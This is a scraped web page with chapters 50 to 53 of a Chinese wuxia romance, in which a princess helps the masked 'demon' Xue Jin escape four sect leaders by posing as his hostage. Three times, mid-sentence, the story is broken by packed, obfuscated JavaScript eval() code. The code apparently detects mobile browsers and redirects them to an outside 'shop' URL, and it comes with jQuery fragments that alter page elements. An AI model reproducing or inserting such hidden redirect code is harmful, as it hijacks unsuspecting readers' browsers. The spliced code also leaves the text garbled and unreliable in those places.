他站在窗前,仰头望着窗外的月亮,目光十分的专注。即使大难临头,他也颇有兴致地赏起月来。能将这样的好月色收入眼底,就算最终落败,也不枉在这世上走上一遭了。 50. 公敌 与厉清狂又交谈了一会儿之后,对方宣称自己明天有要事在身,得早些休息,也请公主尽快回屋安歇,陆怀袖便依言回到自己屋中。她在床上翻来覆去了好一会儿,渐渐地终于有睡意涌上来,最后沉沉坠入了梦乡。 陷入梦境后,首先入目的是一片粉嫩的桃花林,像极了她在崖底养伤期间误入的那片。她不知将往何处去,仍旧像无头苍蝇似的乱转,忽然瞥见一抹熟悉的红影,想也没想便迎了上去。 她朝思暮想的那个少年就坐在桃树底下,容色昳丽,一如当日初见。他懒懒地斜靠着树,一只手搭在曲起的膝盖上,半阖着眼不知在想些什么,一副心事重重的模样。 听到动静,他立刻抬眼看了过去,发现来人是她之后,那双好看的狐狸眼微微眯起,仿佛在问她:“你来作甚?” 不知名的鸟儿叽叽喳喳地叫着,一阵清风裹着花香从他们中间吹过,吹起落英缤纷。两人隔着漫天飞舞的桃花瓣四目相对,彼此无言,周围安静得几乎只有风声和鸟鸣声。 就这样对望了片刻,陆怀袖径自朝那人走了过去,在他身旁坐下。还没等他作出反应,就听见她抱着膝盖转头问道:“在想什么?” 薛矜无言,默不作声地看了她一阵儿。见她一副打破砂锅问到底的模样,他的脸上露出些许无奈,叹了口气方道:“我是在想我做的一个梦。梦中的我身处悬崖边缘,正准备离开之际,却被一股不可抗拒的力量拉向无尽深渊,不断地下坠。我试图自救,但一切的挣扎都是徒劳无功的,最后完全看不见也听不见,只能任凭意识消散,陷于一片混沌。” 他的声音很轻,轻得好像风一吹就散了,听在陆怀袖的耳中,却是让她一颗心都揪了起来。她盯着少年如玉的侧脸,陡然生出一股冲动,想都没想就将心里话脱口而出:“你别怕,这次换我来救你。” 听闻此言的薛矜有些怔忡,愣了片刻才反应过来刚才她说了什么,无双的俊颜染上了不曾有过的温柔笑意,温柔到让陆怀袖以为是幻觉。他侧眸看向满眼都是他的少女,嘴角还留滞着未消散的笑意,但是说出来的话却无端地让人感到沮丧:“笨蛋,你怎么救得了我呢?你只不过是个手无缚鸡之力的弱女子而已。” 陆怀袖听了这话,心里很不是滋味,但不可否认,他刚才那番话并没有错。可尽管她很弱,她也决不会容许自己就这样放任他死去,必定会竭尽所能拯救他。 她正想将自己的决心告诉对方,忽然四周的一切都在震动,紧接着渐渐碎裂,片片剥离。她被这突如其来的状况吓得心脏一顿,眼睁睁地看着少年在自己面前分崩离析,却只能绝望地大喊道:“不——” 但这一切都是徒劳无功的。 下一刻她猛地睁开眼睛,从床上坐起来,过了好一会儿才适应了屋子里晦暗的光线。她下意识地环顾四周,哪里看得到那片如梦似幻的桃花林,更别说林中的少年了。 意识到刚才的一切只是个梦,陆怀袖大口大口地呼吸,试图将自己的心情平复下来。可梦境中与少年的对话却始终萦绕在她脑海里挥之不去,让她想忘都忘不掉。 她甩了甩脑袋也没能将这一切抛出脑海,只好自暴自弃地仰面躺倒,盯着头顶层层软纱织起的帐幔,半晌过后,长长叹出一口气。她突然意识到,今晚注定是个不眠之夜。 次日清晨,一夜未眠的陆怀袖略略洗漱了一番,用过早膳,之后便呆坐在屋内的书桌前。她看着桌上齐全的笔墨纸砚,心念一动,随即铺开宣纸,提笔在上面练字,想以此来转移自己的注意力。 她一笔一划地在纸上写着,神情十分认真,以至于完全忽略了推门而入的白小茶。 白小茶见她一直低着头在专心练字,便有意放轻了脚步,蹑手蹑脚走到她背后,好奇地探过头去看,只见那纸上反反复复地只写着一个人的名字。看到名字的同时,少女下意识地念了出来:“薛、矜。” 刻在心上的名字突然被人念了出来,陆怀袖着实被吓了一跳,条件反射地将写满了那人名字的纸张翻了个面。以极快的速度处理完一切后,她慌慌张张地转过身子,发现屋里多出一个人,心道不妙,大脑飞速运转,试图找一个什么借口糊弄过去,绝不能让小姑娘察觉到她的心事。 斟酌了片刻,她刚想开口解释,身旁的人却一脸讶异地问道:“殿下居然认识那个大魔头?” 陆怀袖听罢一怔,万万没想到对方会说出这样的话。她认识的那个家伙虽然性情乖僻、为人古怪,却并未作出什么伤天害理之事,对她也是一直照顾有加,怎么都和“魔头”二字扯不上关系。她转念一想,两人也许是同名同姓也说不定。 她正胡乱想着,又听白小茶继续说道:“唔,就是喜欢穿一身红衣,武器是一把墨刀,腰上别着一只银箫,身法诡异,武功高强,喜怒无常我行我素的十七岁少年。” 这番话一字不漏地落入陆怀袖耳中,她表情波澜不惊,心头却掀起狂风大浪。对方口中描述的大魔头显然和她认识的那个家伙一模一样,天底下难道有这样巧合的事情么? 尽管心下震撼莫名,但她却很快接受了“第一次喜欢上一个人,那人却是世人眼中无恶不作的大魔头”这一事实。不知怎的,她竟然不觉得有丝毫违和感。白小茶口中的他若是一个品行高洁、锄强扶弱的正人君子,她才是下巴都要惊得掉下来。 见白小茶一副期待回答的模样,陆怀袖脑中仔细想着该怎么对她说明自己与那人之间的关系。她搜肠刮肚了一番,随后半真半假地说道:“此薛矜非彼薛矜也。此人一路护送我到这里,也是因为他,你们才能找到我。说他是我的救命恩人也不为过。” 刚才的回答她下意识的说了谎,只因她隐隐觉得,如果将这一切明明白白地告知白小茶,可能会有不好的事情发生。 白小茶听罢,恍然大悟般哦了一声:“原来那天夜袭总舵的人就是他啊。明明同名同姓,但殿下认识的那个薛矜就是大大的好人呢,不像魔教里的那个一样心狠手辣,是江湖上人人得而诛之的大魔头。” 陆怀袖面不改色地听完,握着笔的手却不由得紧了几分。她竭力压下心头的惊涛骇浪,装作毫不知情,一脸好奇地问道:“我倒是有些好奇魔教里的那个薛矜了,你能和我讲讲他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273397|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个什么样的人么。” 白小茶正没事干,听到她的请求,二话不说便答应了。她清了清嗓子,随后将这个江湖上人人得而诛之的大魔头干的坏事,竹筒倒豆子似的全都讲给了陆怀袖听。偶尔讲得口干舌燥了,她就给自己倒上一杯茶水润润喉咙,接着又讲下去,跟说书先生似的。 她讲得绘声绘色活灵活现,陆怀袖却听得微微蹙起了眉头。她认识的那个家伙虽然行事张扬肆无忌惮,但从不主动惹事,平时还会帮她,偶尔流露出来的温情更是让她对他产生不该有的情愫。他会是白小茶口中那个杀人放火,无恶不作,为了区区一本秘籍可以随时屠人满门的人么? 见她一副心不在焉的模样,白小茶一时间没有再继续讲下去,歪着头一脸好奇地问道:“殿下在想什么?想得这么入迷?” 陆怀袖被这句话拉回了现实,她对上小姑娘探究的眼神,心下慌乱,情急之下匆匆找了个借口:“我在想,此人可真是坏得令人咬牙切齿啊。”她说着装出一副恨不得将这个魔头除之而后快的样子,成功的转移了话题。 白小茶连连点头,对她的说法深表赞同。她忽然像是想到了些什么,把头凑过去,一脸神秘兮兮地说道:“不过殿下放心,这个大魔头的好日子可算是到头了。” 陆怀袖闻听此言,只觉得浑身的血液都要凝固,呼吸也在瞬间停滞。她咬牙按捺住心头翻腾的情绪,尽可能用平稳的声线假装若无其事地问道:“此话怎讲?” 白小茶卖了个关子,没有继续往下说,等她露出一副急切的模样,这才抬头看着她,嘻嘻一笑道:“我义父一大清早便领着一帮人出了门,殿下知道这样做是为了什么吗?” 陆怀袖想了想,诚实地摇了摇头,表示自己什么都不知道。 白小茶不等她催促就继续讲了下去:“只因他早些时候收到一个女人的情报,那人宣称自己将设计圈套引蛇出洞,请他和其他三位正派掌门人届时助她一臂之力,合力铲除这个为害江湖的大魔头。动手时间就定在明晚,所以我义父今天早晨天刚蒙蒙亮就出发了。” 她的话音刚一落地,就听“啪嗒”一声轻响,陆怀袖手中的笔掉落在地。白小茶低头看向地面,微微弯腰将笔捡起来递给她,却见此时的她一脸呆怔木然的表情,不由得伸出手指在她面前晃了晃,神情不解地问道:“殿下又怎么了?” 小姑娘脆生生的声音回荡在耳边,陆怀袖这才如梦初醒般回过神来。她忙不迭接过对方递来的笔,轻声道了句谢后,摇了摇头说道:“没什么事,别担心。我只是因为昨晚没睡好,所以有些困倦罢了。” 见小姑娘被糊弄过去,她稍稍松了一口气,不过心中的那块大石头仍是没有落地。她莫名想起昨天夜里做的那个梦,以及梦境中那个家伙对自己说过的话,心中有一股说不出的憋闷。 它们一直留在陆怀袖脑海中不断回荡,让她眼神逐渐变得坚定起来,藏在衣袖中的手掌也不自觉地握成拳头,像是在给自己勇气。 此时的她不断地在心里默念着自己在梦境中对那人许下的承诺——“你别怕,这次换我来救你。” 51. 围剿 打定主意后,陆怀袖拉住白小茶的手,直直地看着她的眼睛,一脸迫切地问道:“你知道厉帮主往哪儿去了么?” 白小茶一瞬间睁大了双眼,似乎是没想到她会问出这种问题,怔愣了好一会儿方才点头道:“知道。” 陆怀袖闻言心中暗喜,面上却不动声色,她心里明白自己的机会来了。过得片刻,她牢牢盯着面前粉雕玉琢的小姑娘,言辞恳切地说道:“你能带我去那儿观战么?我实在好奇高手过招会是怎么样的场面,你知道我一直很想亲眼见见这种场面的,只是久居深宫,始终不能得偿所愿。这次好不容易有了机会,我可不想错过。” 她这番话说得情真意切,但白小茶听了却忍不住皱起小脸,她有些为难地看了陆怀袖一眼,犹豫再三还是说道:“实在抱歉啊殿下,别的要求我都可以满足您,但这个不行。这场大战必定十分激烈,您去了很可能会有生命危险,我可担不起这个责任。” 这个答案并不出乎意料,陆怀袖早有心理准备,并没有因此而感到沮丧。她大脑飞速运转,不停思索着该怎么忽悠小姑娘带自己前往目的地。突然间灵光一现,她轻咳一声放开小姑娘的手,霍地站起身,走到百宝架前随便打开了一只木盖,从中取出了些什么。 白小茶不明所以地看着她又走到自己面前,下一刻,她变戏法似的拿出一袋松子糖递给自己,语气带着些许的引诱:“喏,这是给你的,只要你答应带我去那儿。” 对方的意图昭然若揭,小姑娘一脸挣扎地看着面前的那袋松子糖,不争气地咽了咽口水,此乃生理本能,没法忍。她在心中暗叹道:“太卑鄙了,明知道我根本拒绝不了这个,可是……”经历了一番天人交战后,她脸上带着显而易见的不舍,忍痛割爱道:“我是不会答应带您去的,劝您还是死了这条心吧。”说完便撇过头去不再看向她那边,可眼睛的余光却时不时地瞥向她手中的糖果。 陆怀袖早就料到会这样,黑白分明的眼珠子骨碌碌转了一圈,又拿出一袋松子糖来,笑容如春风般和煦:“那再加一包如何?” 白小茶瞬间动摇了,但她一想到可能会造成的后果,最终还是理智战胜了冲动,成功守住了阵线。她眼神飘忽地看着陆怀袖,咽下一口唾液,艰难无比地开口道:“即使殿下用这个来诱惑我,我也绝不会动摇。” 明显看出对方的动摇和犹豫,陆怀袖笑得像只得逞的小狐狸。片刻后,她收敛了笑意,终于祭出杀手锏:“那三袋松子糖可算是够了吧?” 她的话音刚一落地,就听见小姑娘迫不及待地说道:“成交。”说完便喜滋滋地接过少女手中的糖果,一颗接着一颗地吃了起来,松子独特的清香充斥着味蕾,这滋味太过美妙,让她全然忘记了自己最初的坚持。 三袋松子糖一下子全给了出去,陆怀袖含笑看着吃得不亦乐乎的小姑娘,心中却在想着另外的一件事。如今目的已经达成,就看她到那之后能不能力挽狂澜,将那个家伙成功救下了。 * 薛矜站在窗前欣赏了一会被月辉照亮的世界,忽然听到不远处有脚步声传来,便随手关上了窗户。根据脚步声来判断,这些人无疑都是学过武的,而且武功极为高明,和他不分伯仲。 他略带惊讶地挑了挑眉,没想到这些人来得这么快,看来那个女人所言非虚。 不过他仍是不改那副闲散的模样,慢悠悠地来到门口,吱呀一声推开了屋门,借着皎洁的月光,映入眼帘的是四个人,一个道士,一个和尚,一个侠客,一个儒生,和数月前的停剑山庄一模一样,但这一次的敌人显然比上次要强得多。 更不幸的是,此时的他却并非处于巅峰状态——醉神花毒会明显削弱他的感官能力,而这意味着他的战力将会显著下降。 即使知道现在的处境不利于自己,但薛矜却并未显露出分毫惧意,依旧是那副泰山崩于前而面不改色的姿态,抱着手臂一脸淡定地看着他的对手向他走近。 其中一个轻衣缓带的儒生端详了他良久,确认无误后开门见山地说道:“阁下便是落月教大名鼎鼎的头号杀手薛摇光吧。”虽是疑问句,可他用的却是陈述的语气。 薛矜对他的称呼不置可否,抬眼望过去,只见说话那人手拿折扇,腰系玉佩,典型的一副浊世佳公子的模样。他心知这位看上去肩不能扛手不能提的公子哥,便是重霄阁有史以来最年轻的掌门人宋雅风。此人年不过三十,一手剑术就已经出神入化,在江湖上颇有名望,今上甚至还赐予了他天下第一剑客的美名。 他不动声色地打量了一番这位不可小觑的对手,随后昂起如天鹅般修长的脖颈,大大方方地承认道:“正是在下。” 这时那个一身灰衣的高个子大汉上前一步出声道:“既然如此,你就应该知道我们来这的目的了。薛摇光,你这些年来兴风作浪为非作歹,犯下诸多罪行,我们今日来此,就是为了将你擒住,替武林正道除一大害。” 薛矜闻言朝他望过去,一见对方的身形样貌,便知他就是江湖第一大帮斩风帮的帮主厉清狂了。此人豪爽仗义且最重承诺,平生最看不惯的就是那些大奸大恶之人,像他这样视人命如草芥的邪魔歪道,在对方的眼里就是容不得的沙。 思及此,用狐狸面具遮盖住原本面容的绯衣少年斜睨了厉清狂一眼,嗤笑一声道:“好大的口气,就怕你们没有那个本事。”说罢,他的目光从四人身上一一扫过,唇角扬起一抹淡淡的轻嘲:“你们几个是要一起上吗?” 那个公子哥打扮的掌门人摇了摇手中的折扇,全然一副谦谦君子的做派,口中却不正经地嬉笑道:“能群殴为什么要单挑呢?” 薛矜被他的话噎住,不过只片刻就恢复了平常。他一手打了一个漂亮的刀花,语气不温不火地说道:“很好,那就放马过来吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273398|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正邪双方之间剑拔弩张,就如此对峙着。一时间,似乎有看不见的硝烟在空气中弥漫。 也不知道是谁先动的手,双方开始打得不可开交。高手过招,胜负往往就在瞬息之间。不过一眨眼的功夫,双方便已过完百招,那速度快得只能看到残影。 尽管他和四人对战暂时未落下风,但薛矜知道再这么缠斗下去,自己必输无疑。毕竟他此次的对手乃是正教中少有的高手,每个人都不弱于他,能在他们四个联手的情况下还立于不败之地的,除了他的教主之外,不作第二人想。 只是他以前就算打不过还可以轻松跑掉,如今身中奇毒,实力被严重削弱,怕是连跑都跑不掉了。 薛矜强压下心中的不安,忽然感到一道凌厉的剑气迎面劈了过来,他躲闪不及,面具顿时被劈成两半,从脸上滑落,现出被掩盖住的真容。那是一张完美到挑不出一丝瑕疵的脸。 面具掉落在地,发出清脆的碰撞声。劈出这一剑的宋雅风呆立当场,直愣愣地看着少年那张祸国殃民的脸,浑然忘记不久前两人还打得你死我活。乘此机会,薛矜眼淬冷光,抬手一掌拍向他的胸口,打得他连连后退了几步。 宋雅风来不及防备,被这一掌打得气血翻涌,差点吐出一口血来。他有些夸张得捂着自己的胸口不住呼痛,哎呦哎呦叫个不停。虽然表面上看起来很不正经,但他心中实已掀起万丈巨浪——这个家伙竟不似传闻中那般是个青面獠牙狰狞恐怖的怪物,相反,任谁见了他都得夸一句“祸水”。 想到这里,他开始痛恨起那些散播谣言的人。要不是他们,他也不会白白挨上一掌。 被震撼到的显然不只是他。厉清狂的目光牢牢钉在少年那张俊美无暇的脸上,嘴中喃喃道:“怎么会……怎么会……”他定定盯了少年好半晌,忽然莫名其妙来了一句:“你姓薛……你也姓薛……” 虽然不清楚发生了什么事,以至于让这位向来嫉恶如仇的厉帮主对他的敌意下降不少,但薛矜并没有兴趣探究对方态度变化背后的真相。他垂眸看着地面上被劈成两半的狐狸面具,眼神晦暗不明。 他自入教以来,历经大小战役无数,可谓是身经百战。他赢过也输过,但从未狼狈到连面具都被人一分为二。这要是传扬出去,怕是要笑掉天下人的大牙,也会让那个人对他失望透顶吧。 绯衣少年如此这般想着,低低地自嘲一笑,指甲深深掐进手心。可这模样只持续了一瞬,紧接着他抬起头来,倨傲的神情一点都没变,活像只黑发黑眼的凤凰。 就算输定了,他也不会束手就擒。他一生下来就注定生活在黑暗里,就算无法战胜光明,也绝不能被其吞噬。既然他们把自己逼得那么紧,那就准备好付出代价,和自己携手共赴黄泉吧。 他顷刻间就打定了主意,漆黑如墨的瞳孔中跳跃着疯狂的火焰,那火焰不但能吞没自己,也能吞没周围所有人。 52. 逃亡 薛矜冷冷地扫视了一圈四人,暗运内力,准备使出天魔解体大法这一玉石俱焚的武功,拉着这几位世人敬仰的正道楷模给自己这个人人喊打的邪魔外道陪葬。 场中四人还不知这小疯子在筹谋何等惊天动地的大事,但身为绝顶高手的直觉让他们在这个时候深感危机。此时的少年出奇的平静,可他们却莫名觉得那是山雨欲来之前片刻的安宁。 然而出乎所有人的意料的是,这看不见硝烟的战场,突然闯入了一大一小两名少女。大的那位一袭粉裙,梳着小辫,面若三月桃花;小的那位一身红衣,扎着双鬟,犹如画上的仙童——这一大一小两名少女自然就是陆怀袖和白小茶,她二人背着厉清狂一路追踪到此,居然没有错过这场大战,也算是不幸中的万幸了。 陆怀袖刚步入庭院没多久,便见那个家伙被四人团团围住,处于明显的劣势之中。她见状皱了皱眉,心中很是不安,急切地想要做点什么,助他安然无恙地离开。 薛矜和四位掌门皆是高手中的高手,两人刚一靠近,他们就敏锐察觉到了对方的存在。厉清狂看着本不该出现在这里的公主殿下出现,不可置信地瞪大了双眼,紧接着他视线一转,就落在自家那如鹌鹑一般抖个不停的义女身上,略略思忖便想明白了一切,朝她投来的目光让她浑身寒毛直竖,差点一个踉跄摔倒。 而薛矜见陆怀袖如此鲁莽便闯了进来,好看的眉头微微蹙起,一时竟忘了自己准备动用天魔解体大法与敌人同归于尽的计划。 他用不赞同的目光盯着少女,刚想开口,忽然看见她脸上露出惊恐的神色,一闪神之际,一招至刚至猛的大力金刚掌猝不及防地打在他胸口。生生受了一击,他顿时口吐鲜血,受伤不轻。 眼见一个披着袈裟的老和尚偷袭少年成功,一瞬间,陆怀袖只觉得全身的血液都几乎要停止流动了。她的指甲嵌入掌心,细微的疼痛慢慢传来。但也正是因为掌心的那阵刺痛让她清醒过来,意识到她不能就这样作壁上观,一定要主动做些什么挽回局面才是。 她绞尽脑汁开始寻找破局的方法,忽然灵光一现,悄悄挪动着脚步,朝少年的方向靠了过去,同时生怕他看不见似的疯狂朝他使眼色,试图让其配合自己演戏。 同行数月的默契让薛矜瞬间明白了她的意图,他擦了擦嘴角血迹,以肉眼捕捉不到的速度出现在她的背后,用手虚掐住她的脖颈,看上去好像真的在劫持她一样。 余下几人都被眼前这一幕惊住,一脸惊骇地看向了少年。厉清狂率先反应过来,连忙出声道:“快放开明月公主!她与此事无关,还望阁下不要伤害于她!” 另外三位掌门登时齐刷刷地将视线投向陆怀袖,心道这个贸贸然闯进来的少女原来就是数月前在和亲途中意外失踪的明月公主。此女果真如传闻中那般容色倾城,只可惜与她初次见面,是在这样危急的关头。 场中局势瞬间有了翻天覆地的变化,合力围攻的大魔头挟持了那位金枝玉叶,他们几个自然投鼠忌器。一时间,四人都有些束手束脚的,完全不敢轻举妄动,生怕一个不小心激怒了少年,害得小公主香消玉殒,那样他们就不好向朝廷那边交代了。 薛矜显然也意识到了这一点,他装模做样地劫持着主动送上门来的人质,故意做出一副凶巴巴的表情:“你们几个若想要她活命,那便放我离开,不然就等着给这位金枝玉叶的贵人收尸吧。” 陆怀袖听罢,很配合地做出一副惊恐万状的样子,实则内心已经乐开了花,还好还好,她总算是帮上了对方。为了让一切更加逼真,她甚至带着哭腔喊道:“厉帮主救救我……我真的不想死啊……” 四位掌门看着小公主泫然欲泣的模样,皆是捶胸顿足,只恨自己一时不察,给了那魔头可乘之机,哪里知道这位人质是有意为之,为的就是让他们计划落空。 而她显然达成了目的。四位武林正道的领袖,此刻也只能眼睁睁看着煮熟的鸭子从自己面前飞走,心里除了叹气还是叹气。 * 迈出那所宅院大门后,薛陆二人马不停蹄地向前奔走,追兵很快便被远远的甩在身后。确认安全之后,两人卸下了伪装,陆怀袖主动提出要搀扶着身受重伤的少年行走。少年起初是拒绝的,但耐不住对方的坚持,没办法只得从了她。 此时正值深夜,前方黑漆漆的伸手不见五指,陆怀袖深一脚浅一脚地走在路上,因为走得急了又看不清路,时不时会被树枝刮伤,鲜血淋漓。但她不想成为少年的累赘,硬是忍着痛不吱声,丝毫不放慢脚下的速度。 不知行了多久,前方出现一棵笔直挺拔的参天古树,陆怀袖心中一动,搀扶着少年到树底下坐下休息。她将对方上上下下左左右右打量了个遍,见他面如金纸气若游丝,除了心疼还是心疼。 她原本以为两人再度重逢之后,自己会把这个抛下她一走了之的混蛋痛骂一顿,没想到真的再见面时,她竟然连一句重话都舍不得对他说,只想把他牢牢地抱在怀里不撒手。 陆怀袖在心里狠狠唾弃了自己一番,随后又忍不住问道:“你伤得重不重?要不要我扶你去医馆?”她心想是该找个医馆瞧瞧了,薛矜现在的伤势不容再拖,一定要尽快处理好。 薛矜迎着她关切的目光,犹豫片刻,最终只是轻轻摇了摇头:“我以前受过比这还严重的伤,不也好好活下来了?你别担心我,我不会有事的,毕竟祸害遗千年不是吗?”见少女仍旧是一副忧心忡忡的模样,他最后还是没忍住叹了口气:“这大半夜的,哪家医馆还开门呢?再说了,又有哪个郎中敢收我这个活阎王呢?” 陆怀袖听了,非但没有松一口气,反而更加担忧了。她脸上露出一副不赞同的表情,薛矜已经能猜到接下来她要说什么了,在她未开口之前,成功打断了她所有的话语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273399|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我们就在这里先歇一晚,有什么事明天再说吧。” 他说完身子不受控制地摇晃了一下,像是支撑不住自己似的微微喘息,一股腥甜涌上喉头,又被他强压下去。尽管他竭力摆出一副自己伤势并不重的样子,却仍被陆怀袖看出了端倪。 少女脸上带着毫不掩饰的担忧,声音也染上了一点哭腔:“你还骗我说你的伤势不重,我亲眼看到了,那个和尚一掌击中了你的胸口,肯定是伤到五脏六腑了。不行,你今晚必须得跟我进城……” 她本想说要带他去看病,话才说到一半,却不料少年突如其来地凑近,一张俊脸猝不及防在她面前放大。她甚至可以看得到他那双如同子夜般漆黑的瞳孔里,倒映着她茫然无措的脸。 少年的脸庞离她那么近,好像下一刻就要亲上去。意识到这一点的陆怀袖大脑一片空白,理智逐渐远离。她忍不住咽了咽口水,明明不渴,却意外感到口干舌燥,浑身酥麻。 四片唇瓣是近在咫尺的距离,只差最后一点点就能贴在一起。陆怀袖因为太过刺激下意识闭上眼睛,可预想中温热柔软的触感始终没有到来。她再度睁开双眼时,却见少年捂着自己的胸口看着她,一脸无奈地说道:“只有这样你才能安静下来么?” 陆怀袖闻言先是一愣,反应过来后,脸上红意更甚。她忽然有些庆幸这是夜里,要不然被他看清脸上的神色,那就太丢人了。接着她用只有自己才能听到的声音闷闷说道:“可恶这也太犯规了吧。”说完,她也不再多言。 周围一时变得很安静,静得几乎只剩下风声。薛矜没有再说话,倚着树干阖上双眼,呼吸很快就变得轻细绵长,似乎已经沉入梦乡。 陆怀袖见状也不便打扰,在离他最近的树边坐下,仗着他看不见,这才敢大胆地打量他。此时的少年脸上带着病态的苍白,肌肤在月光的映衬下几近透明,脆弱得好像随便碰一下就会碎掉。 她认识的那个家伙几乎无所不能,对于所有事情都能做到游刃有余,这还是她第一次见到他这般孱弱的样子。 此时的陆怀袖内心深处除了怜惜之外还有些诡异的喜悦,她的脑子不可自抑地生出一个念头来:“他终于受伤了,终于轮到我来照顾他了。” 意识到自己的快乐建立在别人的痛苦上,陆怀袖被自己内心的真实想法吓了一跳,猛地甩了甩头,试图将这个有些阴暗的念头甩出大脑。 就在她胡思乱想之际,少年那宛如珠落玉盘的声音在空荡荡的林间回响:“今天的事谢谢你了。” 陆怀袖诧异地抬眼望过去,却见对方闭着眼,并没有看她,可刚才的话分明就是对她说的。她嘴里反复咀嚼着那句话,唇角忍不住高高翘起,一路的奔波劳累似乎也算不得什么了。 半晌过后,她终于也抵不住倦意,沉沉睡去。周围依旧很安静,但除了风声,还多了少年少女平稳的呼吸声。 53. 避难 漫漫长夜过后,黎明渐渐到来,天边泛起一抹鱼肚白。当陆怀袖睁开惺忪的睡眼时,发现薛矜已经先一步醒了过来,朝着她清浅一笑,把洗干净的果子递了一个给她。 陆怀袖道了声谢谢后接了过来,小口小口咬着果子,酸酸甜甜的滋味在舌尖散开。她正专心吃着果子,谁知远处忽然传来一阵密集的脚步声,中间还夹杂着几句带有方言的交谈声。 她好像意识到了什么,三下五除二吃完了果子,随后抬眸望向薛矜,那眼神似乎在问:“我们现在是不是该跑了?” 薛矜瞥她一眼,示意她跟着自己离开,随即迈开脚步向前走去。陆怀袖站在原地犹豫了一会,最终还是跟了上去。其实她很想问问对方是否需要她继续搀扶着,但是却因为种种原因没有问出口。 两人马不停蹄的往密林深处奔去,可身后的脚步声却始终如影随形无法摆脱,时时刻刻占据着他们的心神,提醒他们若不加快速度,迟早会被那帮人追上。 他们沿着小径直奔,也不知跑了多久,只觉得这条路长得仿佛没有尽头。忽然眼前有光亮显现,紧接着豁然开朗,从光线昏暗的林中小道出来竟是一片生机盎然的绿色。但见四面青山环抱,中间有一片湖泊,湖水碧波荡漾,清可见底,犹如一块成色极好的翡翠。晨曦透过婆娑的树叶零零散散的落在湖面上,泛起粼粼微光。 可薛陆二人此刻却无心赏景,他们的注意力全都集中在倾听不远处的声音上:“他们应该就在这附近,我们跟着血迹走不会有错的,可不能让那魔头跑掉。” 陆怀袖闻听此言,顿时想起昨夜她被树枝刮伤流了很多的血,想必他们就是据此追踪到这里的。思及此,她抱着脑袋,陷入无尽的懊恼,终究是自己搞砸了一切。 过得片刻,她抬起眼眸,一脸愧疚地看着少年,正打算为自己的失误向他道歉,可话刚到嘴边,就见少年一言不发地走向湖边,只得将那些话全数咽回肚子里,默默跟了上去。 望着碧波荡漾的湖面,陆怀袖斟酌着措辞,准备询问对方接下来的打算,就在这时少年侧眸看了她一眼,冷不丁地开口道:“现在你有两个选择,要么和我一起跳下去,要么和他们一起回去。” 陆怀袖闻言先是一愣,等想明白对方的意图,她不由得咬了咬唇。她当然知道少年话里所指的“他们”是谁,也知道正常人都会选后者,但她就是不想在这种危难时刻抛下他离开,于是乎她没什么纠结就做出了选择。 薛矜垂眸看着死死抱住自己手臂不放的小公主,心情十分的复杂。不过他并未甩开对方,反而握住了她的手,拉着她扑通一声跳入水中,激起一阵阵水花。不过很快湖面又恢复了平静,仿佛一切都不曾发生过。 等到追兵赶来时,他们看到的只有平滑如镜的湖面,除此之外什么也没有。一众正道弟子面面相觑,皆从彼此眼中看到了难以掩饰的失望。他们又把附近的地方也仔细搜查了一遍,仍旧无果后,终于心怀遗憾地离开了。 就这样,一行人原路返回,朝着反方向走去,与他们一路追踪的目标失之交臂。 而潜藏水下的陆怀袖此时正死死憋着一口气,强行忍住浮上水面的冲动。水密不透风地围绕在她的身边,窒息感让四肢麻木的她几欲失去意识,好像下一刻就要死去了一般。其实她小时候在玩耍时不慎落入过湖中,若非得救及时,差点就要溺水身亡,从此就很怕水,可为了不拖累少年,她还是毅然决然跟着跳下了湖。 泡泡不停地从她口鼻间冒出,就在她觉得快要无法呼吸的时候,昨夜未能贴上来的唇瓣朝她贴了过去,一股氧气从外界传输过来,肺中肿胀的感觉顷刻间消失了。 她愣愣地看着对方,感受到唇上的触感,心脏也仿佛跟着要跳出胸腔一般。一瞬间,她的脑海里只剩下了一个念头:“这个家伙虽然心很硬,但他的嘴唇却是软的。” 眉眼低垂的少年慢慢地渡气给她,丝毫不见被追杀的慌乱,仿佛一切皆在他的掌控之中。 听得追兵纷乱的脚步声到达之后又很快地离开,他离开了她的唇,一只有力的臂膀轻轻揽住了她纤细的腰肢。没等她反应过来,他便奋力地蹬了一下湖底,带着她往岸边游去。 没过多久,陆怀袖便被他带着浮出了水面。等到上了岸,她一屁股坐在地上,拼命地咳嗽大口大口地吐水。将胃里的东西差不多都吐干净了,她才终于感觉自己活过来了。 她想着刚才的场景真是心有余悸,下意识的将视线投向身旁的少年,却见他紧闭着双眼,脸上血色尽褪,身上一点活人气息也无。她见状大骇,只觉得喉咙像是被人狠狠掐住一般,一丝声音都发不出来。 